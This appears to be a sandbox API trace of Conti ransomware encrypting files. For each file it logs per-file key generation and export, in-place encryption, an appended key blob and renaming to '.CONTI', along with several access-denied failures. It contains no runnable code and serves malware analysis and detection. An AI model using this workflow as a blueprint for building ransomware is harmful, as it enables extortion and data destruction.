	[0128.809] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b524cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b524cc*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0128.810] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.810] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x3000, lpOverlapped=0x0) returned 1
	[0128.811] CryptEncrypt (in: hKey=0x17c7f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x3000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x3010) returned 1
	[0128.811] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.811] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x3010, lpOverlapped=0x0) returned 1
	[0128.811] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.811] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b524c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b524c0*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0128.812] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.812] CloseHandle (hObject=0x3f8) returned 1
	[0128.812] GetProcessHeap () returned 0x1720000
	[0128.812] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.812] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl"
	[0128.812] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.CONTI"
	[0128.812] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.012.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.012.etl.conti")) returned 1
	[0128.812] GetProcessHeap () returned 0x1720000
	[0128.812] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.812] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0128.812] GetProcessHeap () returned 0x1720000
	[0128.812] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9850 | out: hHeap=0x1720000) returned 1
	[0128.812] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0128.812] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b53b98 | out: phKey=0x6b53b98*=0x17c8030) returned 1
	[0128.813] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53b9c, pdwDataLen=0x497fc1c | out: pbData=0x6b53b9c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0128.813] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.013.etl")) returned 0x2020
	[0128.813] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.013.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0128.814] GetLastError () returned 0x0
	[0128.814] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=4096) returned 1
	[0128.814] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0128.814] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.814] SetEndOfFile (hFile=0x3f8) returned 1
	[0128.814] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.814] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.814] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b53b9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b53b9c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0128.815] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.815] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x1000, lpOverlapped=0x0) returned 1
	[0129.757] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1010) returned 1
	[0129.757] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.757] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x1010, lpOverlapped=0x0) returned 1
	[0129.758] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.758] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b53b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b53b90*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0129.758] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.771] CloseHandle (hObject=0x3f8) returned 1
	[0129.771] GetProcessHeap () returned 0x1720000
	[0129.771] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.771] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl"
	[0129.771] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.CONTI"
	[0129.771] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.013.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.013.etl.conti")) returned 1
	[0129.773] GetProcessHeap () returned 0x1720000
	[0129.773] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.773] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0129.773] GetProcessHeap () returned 0x1720000
	[0129.773] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c96a0 | out: hHeap=0x1720000) returned 1
	[0129.773] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.773] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b47e40 | out: phKey=0x6b47e40*=0x17c85f0) returned 1
	[0129.773] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47e44, pdwDataLen=0x497fc1c | out: pbData=0x6b47e44*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.774] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\autologger-diagtrack-listener.etl")) returned 0x2020
	[0129.774] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\autologger-diagtrack-listener.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.774] GetLastError () returned 0x5
	[0129.774] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0129.774] GetProcessHeap () returned 0x1720000
	[0129.774] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510528 | out: hHeap=0x1720000) returned 1
	[0129.774] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.774] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b47768 | out: phKey=0x6b47768*=0x17c80f0) returned 1
	[0129.774] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4776c, pdwDataLen=0x497fc1c | out: pbData=0x6b4776c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.775] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_costdeferred.rbs")) returned 0x20
	[0129.775] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_costdeferred.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.776] GetLastError () returned 0x5
	[0129.776] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0129.776] GetProcessHeap () returned 0x1720000
	[0129.776] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0129.776] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.776] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b45530 | out: phKey=0x6b45530*=0x17c8030) returned 1
	[0129.776] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45534, pdwDataLen=0x497fc1c | out: pbData=0x6b45534*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.776] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Normal.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_normal.rbs")) returned 0x20
	[0129.777] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Normal.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_normal.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.777] GetLastError () returned 0x5
	[0129.777] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0129.777] GetProcessHeap () returned 0x1720000
	[0129.777] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ac40 | out: hHeap=0x1720000) returned 1
	[0129.777] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.777] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b452e8 | out: phKey=0x6b452e8*=0x17c7eb0) returned 1
	[0129.777] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b452ec, pdwDataLen=0x497fc1c | out: pbData=0x6b452ec*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.778] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_normalcritical.rbs")) returned 0x20
	[0129.779] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_normalcritical.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.779] GetLastError () returned 0x5
	[0129.779] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0129.779] GetProcessHeap () returned 0x1720000
	[0129.779] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c027d8 | out: hHeap=0x1720000) returned 1
	[0129.779] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.779] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b45778 | out: phKey=0x6b45778*=0x17c8570) returned 1
	[0129.779] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4577c, pdwDataLen=0x497fc1c | out: pbData=0x6b4577c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.780] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Realtime.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_realtime.rbs")) returned 0x20
	[0129.780] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Realtime.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_realtime.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.780] GetLastError () returned 0x5
	[0129.780] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.780] GetProcessHeap () returned 0x1720000
	[0129.780] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a840 | out: hHeap=0x1720000) returned 1
	[0129.780] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.780] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b44780 | out: phKey=0x6b44780*=0x17c8230) returned 1
	[0129.780] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44784, pdwDataLen=0x497fc1c | out: pbData=0x6b44784*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.781] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\osver.txt")) returned 0x20
	[0129.781] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\osver.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.781] GetLastError () returned 0x5
	[0129.781] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0129.781] GetProcessHeap () returned 0x1720000
	[0129.781] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65dec30 | out: hHeap=0x1720000) returned 1
	[0129.782] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.782] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b44538 | out: phKey=0x6b44538*=0x17c8230) returned 1
	[0129.782] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4453c, pdwDataLen=0x497fc1c | out: pbData=0x6b4453c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.782] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\parse.dat")) returned 0x20
	[0129.782] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\parse.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.783] GetLastError () returned 0x5
	[0129.783] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0129.783] GetProcessHeap () returned 0x1720000
	[0129.783] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65dedf0 | out: hHeap=0x1720000) returned 1
	[0129.783] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.783] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b449c8 | out: phKey=0x6b449c8*=0x17c8330) returned 1
	[0129.783] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b449cc, pdwDataLen=0x497fc1c | out: pbData=0x6b449cc*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.784] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml")) returned 0x20
	[0129.784] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.784] GetLastError () returned 0x5
	[0129.784] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0129.784] GetProcessHeap () returned 0x1720000
	[0129.784] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c668 | out: hHeap=0x1720000) returned 1
	[0129.784] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.784] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b450a0 | out: phKey=0x6b450a0*=0x17c8230) returned 1
	[0129.784] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b450a4, pdwDataLen=0x497fc1c | out: pbData=0x6b450a4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.785] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml")) returned 0x20
	[0129.785] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.785] GetLastError () returned 0x5
	[0129.785] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0129.785] GetProcessHeap () returned 0x1720000
	[0129.785] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b7b8 | out: hHeap=0x1720000) returned 1
	[0129.785] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.785] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b479b0 | out: phKey=0x6b479b0*=0x17c7ef0) returned 1
	[0129.785] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b479b4, pdwDataLen=0x497fc1c | out: pbData=0x6b479b4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.786] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml")) returned 0x20
	[0129.786] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.786] GetLastError () returned 0x5
	[0129.786] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0129.786] GetProcessHeap () returned 0x1720000
	[0129.786] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d1c8 | out: hHeap=0x1720000) returned 1
	[0129.786] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0129.786] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b482d0 | out: phKey=0x6b482d0*=0x17c8230) returned 1
	[0129.786] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b482d4, pdwDataLen=0x497fc1c | out: pbData=0x6b482d4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0129.787] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml")) returned 0x20
	[0129.787] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.787] GetLastError () returned 0x5
	[0129.787] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0129.787] GetProcessHeap () returned 0x1720000
